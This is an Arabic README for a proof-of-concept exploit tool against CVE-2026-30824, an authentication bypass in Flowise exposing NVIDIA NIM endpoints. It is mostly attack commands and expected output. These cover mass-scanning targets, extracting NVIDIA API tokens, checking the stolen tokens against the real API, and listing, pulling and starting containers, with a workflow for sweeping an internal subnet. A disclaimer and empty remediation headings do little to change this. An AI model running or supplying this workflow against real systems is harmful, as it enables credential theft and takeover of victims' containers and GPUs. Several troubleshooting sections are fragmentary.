
إثبات مفهوم لاستغلال **CVE-2026-30824**، وهي ثغرة حرجة في تجاوز المصادقة في Flowise تكشف نقاط نهاية NVIDIA NIM API دون مصادقة.
أداة إثبات مفهوم للفحص والاستغلال لثغرة CVE-2026-30824، وهي ثغرة حرجة في تجاوز المصادقة في Flowise تكشف نقاط نهاية NVIDIA NIM API دون مصادقة.
CVE-2026-30824 هي ثغرة حرجة في تجاوز المصادقة في Flowise (< 3.0.13) تسمح للمهاجمين عن بُعد دون مصادقة بالوصول إلى إدارة حاويات NVIDIA NIM ونقاط نهاية توليد رموز API.
| الحقل | القيمة |
|---|---|
| درجة CVSS | 9.8 (حرجة) |
| CWE | CWE-306: غياب المصادقة للوظائف الحرجة |
| الإصدارات المتأثرة | Flowise < 3.0.13 |
| الأثر | إدارة كاملة للحاويات، وصول إلى GPU، سرقة الرموز |
مسار /api/v1/nvidia-nim/* مدرج في القائمة البيضاء في البرمجية الوسيطة العامة للمصادقة، مما يسمح بالوصول دون مصادقة إلى:
✅ اكتشاف الثغرة — فحص سريع لمعرفة ما إذا كان الهدف معرضًا للخطر
✅ استخراج الرموز — تسريب رموز NVIDIA API من نقاط النهاية المعرضة
✅ التحقق من الرموز — التحقق من الرموز المسربة مقابل NVIDIA API (إظهار نطاق الأثر)
✅ تعداد الحاويات — عرض حاويات NIM قيد التشغيل
✅ الفحص الجماعي — فحص أهداف متعددة من ملف
✅ تجاوز SSL — تجاهل الشهادات ذاتية التوقيع افتراضيًا
✅ مخرجات ملونة — مؤشرات حالة سهلة القراءة (أخضر/أصفر/أحمر)
✅ الاستطلاع — رسم خرائط كامل لنقاط النهاية والتشخيص
requests# استنساخ أو تنزيل السكربت
git clone <repository>
cd cve-2026-30824
# تثبيت التبعيات
pip install -r requirements.txt
# أو
pip install requests
# فحص ما إذا كان هدف واحد معرضًا للخطر
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# المخرجات المتوقعة (معرض للخطر):
# [+] الهدف يبدو معرضًا للخطر (HTTP 200)
# الاستجابة: {...}
# إنشاء targets.txt مع عنوان URL واحد في كل سطر
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# فحص جميع الأهداف (وضع سريع، بدون مطالبات)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# ملخص المخرجات المتوقع:
# ============================================================
# [*] ملخص الفحص
# ============================================================
# [+] معرض للخطر: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] تم التصحيح: 1
# ✗ http://192.168.1.102:3000
# تسريب رمز NVIDIA API من نقطة النهاية المعرضة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# المخرجات المتوقعة:
# [*] محاولة تسريب رمز NVIDIA API...
# [+] رمز NVIDIA API: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] نوع الرمز: Bearer
# [+] تنتهي الصلاحية خلال: 3600 ثانية
# التحقق من أن الرمز المسرب يعمل مقابل NVIDIA API الحقيقي
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# المخرجات المتوقعة:
# [*] التحقق من الرمز مقابل NVIDIA API...
# [+] الرمز صالح! الوصول إلى 45 نموذج NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# تعداد الحاويات على الهدف
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# المخرجات المتوقعة:
# [*] عرض الحاويات قيد التشغيل...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# تشغيل جميع فحوصات الاستطلاع على الهدف المعرض
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
الحجج الاختيارية:
-h, --help عرض رسالة المساعدة والخروج
-t, --target TARGET عنوان URL للهدف (مثل: http://192.168.1.100:3000)
-f, --targets-file FILE ملف يحتوي على قائمة الأهداف (واحد في كل سطر)
اكتشاف الثغرة:
--check فحص ما إذا كان الهدف معرضًا للخطر فقط
--scan-only فحص الأهداف بحثًا عن الثغرة دون مطالبات
--debug عرض تفاصيل الطلب والاستجابات الخام
الاستغلال:
--get-token تسريب رمز NVIDIA API
--validate-token TOKEN التحقق من الرمز المسرب مقابل NVIDIA API
--list-containers عرض حاويات NIM قيد التشغيل
--get-container CONTAINER_ID الحصول على تفاصيل الحاوية
--get-image IMAGE_ID الحصول على تفاصيل الصورة
--pull-image IMAGE_TAG سحب صورة Docker (مثل: nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG تشغيل حاوية من علامة صورة
--container-name NAME اسم الحاوية التي تم تشغيلها
--stop-container CONTAINER_ID إيقاف حاوية قيد التشغيل
--preload تشغيل نقطة نهاية التحميل المسبق للموارد
--all تشغيل جميع فحوصات الاستطلاع
متقدم:
--timeout SECONDS مهلة الطلب بالثواني (الافتراضي: 15)
# 1. فحص الشبكة الفرعية بالكامل بحثًا عن الحالات المعرضة
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. لكل هدف معرض، استخراج الرمز
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. التحقق من تأثير الرمز
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# التحقق من الثغرة وإظهار نطاق الأثر الكامل
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# سيؤدي هذا إلى:
# 1. فحص الثغرة
# 2. استخراج رمز NVIDIA API
# 3. التحقق من الرمز مقابل NVIDIA API
# 4. عرض الحاويات قيد التشغيل
# 5. إظهار تعداد الموارد
# مراقبة هدف بشكل دوري (عبر cron أو المجدول)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | المعنى |
|---|---|
| 200 | ✅ معرض للخطر (نقطة النهاية قابلة للوصول) |
| 400 | ✅ معرض للخطر (خطأ في التطبيق لكن نقطة النهاية موجودة) |
المشكلة: تعيد نقطة النهاية صفحة HTML بدلاً من استجابة JSON API.
الحلول:
المشكلة: لا يمكن الوصول إلى الهدف.
الحلول:
# اختبار الاتصال
curl -v http://192.168.1.100:3000/
# زيادة المهلة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
المشكلة: يستخدم الهدف شهادة ذاتية التوقيع أو منتهية الصلاحية.
الحل: يعطل السكربت التحقق من SSL افتراضيًا. إذا استمرت المشكلات:
# إضافة المنفذ والبروتوكول صراحةً
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
المشكلة: تم استخراج الرمز لكن التحقق مقابل NVIDIA API يفشل.
الأسباب:
⚠️ إشعار قانوني
إذا اكتشفت هذه الثغرة في بيئة حقيقية:
فوري:
طويل الأمد:
/api/v1/nvidia-nim/*هذه الأداة مقدمة لأغراض تعليمية واختبار الأمان المصرح به فقط. راجع ملف LICENSE للحصول على التفاصيل.
هذه الأداة مقدمة "كما هي" دون أي ضمان. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.
أُنشئت لاختبار الاختراق المصرح به والبحث الأمني.
آخر تحديث: أبريل 2026
| 401 | 🟡 تم التصحيح (المصادقة مطلوبة) |
| 404 | 🟡 ليس Flowise أو نقطة النهاية غير موجودة |
| 5xx | 🔴 خطأ في الخادم/إعداد خاطئ |